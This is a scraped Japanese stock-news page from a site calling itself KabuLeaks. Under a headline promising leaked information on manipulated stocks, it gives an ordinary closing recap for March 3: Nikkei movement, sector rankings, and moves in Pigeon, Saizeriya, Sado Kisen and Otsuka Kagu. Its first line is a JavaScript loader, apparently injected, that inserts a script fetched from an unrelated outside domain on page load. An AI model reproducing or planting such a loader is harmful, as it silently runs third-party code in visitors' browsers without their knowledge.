;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【3/3 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【3/3 大引け】

本日の日経平均株価は11円安と4日ぶり反落。前日の米国株高や円安など良好な外部環境から日経平均は1万8900円台を回復して始まったものの、過熱警戒感が広がり前場引け前にはマイナス転換。後場入り後は、公的年金や海外勢などの日本株買いへの期待感は根強いことから押し目買いが入り下げ幅を縮小、一時はプラス圏へ浮上する場面もみられた。業種別では、鉄鋼、証券、銀行業が下落率上位だった。一方、その他医薬品、食料品、その他製品が上昇率上位。東証1部の出来高は23億1592万株、売買代金は2兆4180億円。騰落銘柄数は値上がり672銘柄、値下がり1058銘柄、変わらず130銘柄。

個別では、前日決算発表の内容を評価された【7956】ピジョンが急反発。一部報道では市場コンセンサスを下回るも会社発表は保守的との見方も出ている。その他、2月の既存店売上高を好感された【7818】サイゼリヤが買われてほか、カーフェリーこがね丸売却で譲渡益8.8億円を特別利益として計上すると発表した【9176】佐渡汽船が急伸、後場一時ストップ高となった。一方、連日急騰していた【8186】大塚家具が過熱警戒感から後場急速に伸び悩みマイナス転換、急反落となった。